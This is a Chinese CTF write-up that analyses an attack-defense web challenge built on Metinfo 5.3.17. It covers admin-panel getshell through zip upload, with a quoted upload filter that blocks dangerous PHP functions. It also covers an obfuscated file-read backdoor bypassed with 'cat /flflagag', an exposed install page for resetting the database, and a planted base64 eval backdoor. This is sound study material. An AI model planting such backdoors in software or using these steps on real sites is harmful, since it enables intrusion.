0x00 前言
首先会回过头来重新分析一次这道web题主要是因为上次线下的时候全场一直在打了一个洞,最后成信的师傅用重置数据库方法,从后台getshell一路追分,这里先膜一发。这次web题的框架是Metinfo 5.3.17的。
0x01 后台getshell
这个洞也可以说是坑了一波,以前都调过Metinfo的后台恢复数据库文件getshell,在:安全—>备份与恢复 中通过上传数据库备份.zip文件getshell,这里主要是因为:admin\include\uploadify.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| elseif($type=='skin'){ /*模板文件*/ $filetype=explode('.',$_FILES['Filedata']['name']); if($filetype[count($filetype)-1]=='zip'){ if(stristr($met_file_format,'zip') === false){ echo $lang_jsx36; die(); } //if(!is_writable('../../templates/'))@chmod('../../templates/',0777); $filenamearray=explode('.zip',$_FILES['Filedata']['name']); $skin_if=$db->get_one("SELECT * FROM {$met_skin_table} WHERE skin_file='{$filenamearray[0]}'"); if($skin_if){ $metinfo=$lang_loginSkin; }else{ $f = new upfile('zip','../../templates/','',''); if($f->get_error()){ echo $f->get_errorcode(); die(); } if(file_exists('../../templates/'.$filenamearray[0].'.zip'))$filenamearray[0]='metinfo'.$filenamearray[0]; $met_upsql = $f->upload('Filedata',$filenamearray[0]); include "pclzip.lib.php"; $archive = new PclZip('../../templates/'.$filenamearray[0].'.zip'); if($archive->extract(PCLZIP_OPT_PATH, '../../templates/') == 0)$metinfo=$archive->errorInfo(true); $list = $archive->listContent(); $error=0; foreach($list as $key=>$val){ if(preg_match("/\.(asp|aspx|jsp)/i",$val[filename])){ $error=1; } if(!is_dir('../../templates/'.$val[filename])&&preg_match("/\.(php)/i",$val[filename])){ $danger=explode('|','preg_replace|assert|dirname|file_exists|file_get_contents|file_put_contents|fopen|mkdir|unlink|readfile|eval|cmd|passthru|system|gzuncompress|exec|shell_exec|fsockopen|pfsockopen|proc_open|scandir'); $ban='preg_replace|assert|eval|\$_POST|\$_GET'; foreach($danger as $key1 => $val1){ $str=file_get_contents('../../templates/'.$val[filename]); $str=str_replace(array('\'','"','.'),'',$str); if(preg_match("/([^A-Za-z0-9_]$val1)[\r\n\t]{0,}([\[\(])/i",$str)){ $error=1; } if(preg_match('/('.$ban.')/i',$str)){ $error=1; }
} } } @unlink('../../templates/'.$filenamearray[0].'.zip'); if($error){ foreach($list as $key=>$val){ if(is_dir('../../templates/'.$val[filename])){ @deldir('../../templates/'.$val[filename]); }else{ @unlink('../../templates/'.$val[filename]); } } $metinfo='含有危险函数,禁止上传!!'; }else{ $metinfo='1$'.$filenamearray[0]; } }
|
上传的.zip文件会自动解压,上传成功后在/templates目录下生成shell,由于本次源码被调整过,在恢复备份文件处有一个资源调用的问题,导致打开的时候特别慢,可以说没法利用吧,而这次主要是利用另一个上传点,直接通过修改上传文件类型来上传.php文件:安全->安全与效率->上传文件

这种getshell的方法不要智商的,所以就不多说了。
0x02 混淆源码命令执行
利用点:produ/picture.inc.php文件,源码进行混淆过,所以挖掘的时候必须首先解混淆,这里我是直接上网进行源码修复的,修复出来简单修改一下变量也基本就能看懂。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
$b=@$_GET[$GLOBALS['OOO0000O0']('Y2hlYw==')]; if ($b!="") { $a = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSUkx')](md5($b),0,9); $c = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSUkx')](md5($a),5,18); $c = md5($c); echo $c; exit(); } $d = @$_GET[$GLOBALS['OOO0000O0']('img_tet')]; $d = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWwx')]($d); $d = str_replace( $GLOBALS['OOO0000O0']('flag'),"",$d); if ($d!="") { $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFJ')]($GLOBALS['OOO0000O0']('Content-Type: imgage/jpeg')); $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFJ')]($GLOBALS['OOO0000O0']('Content-Disposition: attachment; filename=').$d); $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFJ')]($GLOBALS['OOO0000O0']('Content-Lengh: ').$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFs')]($d)); $e = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($d,"r") or die("Unable to open file!"); $f = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEkx')]($e,$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFs')]($d)); $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxJ')]($e); echo $f; } ; echo $GLOBALS['OOO0000O0']('Cg=='); ?>
|
也就是Get一个参数img_tet,检测传参内容是否有flag,有的话就替换为空格所以直接利用:cat /flflagag就可以绕过检测,这也是全场一次在打的一个洞。下面也贴出其他师傅解混淆的方法,建一个php文件
1 2 3 4
| <?php include('picture.inc.php'); var_dump(get_defined_vars()); ?>
|
调用函数var_dump(get_defined_vars())进行反混淆,本地运行可以得到一样的源码。
这里直接贴出BXS师傅完全修复的源码:
0x03 重置数据库
利用安装框架的配置文件,重置数据库这个也是迷,不过利用起来也是没有难度的,主要就看能不能找到这个页面了,估计是主办方故意留下这个页面的,利用方法,直接访问 \include\frame 目录下 index.php,直接就进入了配置页面

跟着走一遍,重置一下网站,然后跳第一步Getshell就好。
0x04 主办方设置的后门利用
对于这个后门,调试也是到了比赛结束后,about/show.php 30、31行
1 2
| $show_tiny=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJpY3FjdGZlciJdKTs=')); $show_tiny();
|
解base64后得到的是一个自带后门:@eval($_POST[“icqctfer”]);
当时在现场的时候看到这个就直接在show.php后用POST传参icqctfer=****,没有得到任何想要的结果,当时还以为大家都补了,没有注意到源码中还有限制条件,主要是在show.php中的
1 2 3 4 5 6
| if(!$id && $class1)$id = $class1; if(!is_numeric($id))okinfo('../404.html'); $show = $db->get_one("SELECT * FROM $met_column WHERE id='$id' and module=1"); if(!$show||!$show['isshow']){ okinfo('../404.html'); }
|
is_numeric()函数要求变量id要是数字,这个地方比较好过,由于对$id没有做任何限制的,我们可以在本地调试测试,把变量id覆盖就好了,不过后面的查询语句也要求了id值得赋成1,payload:http://127.0.0.1/CTF/shanghai/default/about/show.php?id=1
之后主要是$show变量的问题, $db->get_one(“SELECT * FROM $met_column WHERE id=’$id’ and module=1”)将表met_column的第一行信息以数组的方式赋值给变量show,本地查看数据库

其中isshow列默认值为 0

而要过条件if(!$show||!$show[‘isshow’])只有当$show = 1或者$show[‘isshow’] = 1,而从数据库中看来使得$show = 1是不可能的,我们没法把对方的数据库id = 1的所有信息都置1,所以只有将$show[‘isshow’]置 1 。而要将变量$show[‘isshow’]置 1,需要进入Metinfo后台:设置->栏目 中修改about的参数,将 添加内容 段改成允许,就可以将isshow置为1,从而通过条件,就可以利用icqctfer了。

那么问题来了,要想进后台修改配置利用这个后门,除非一上手在别人没改密码之前进入别人后台修改,等大家都把后台密码改了,也就只有通过重置数据库的方法进入后台,既然后重置数据库进入后台了,还不如上传木马来打,所以这个后门看似简单,其实用起来太麻烦,价值也不高。
0x05 结语
本菜因才疏学浅,只挖到了部分的洞,因为上次在场上的时候有师傅直接把网站页面给改写了,说明还有其他的利用点,这里膜一下,本文章只用来学习记录。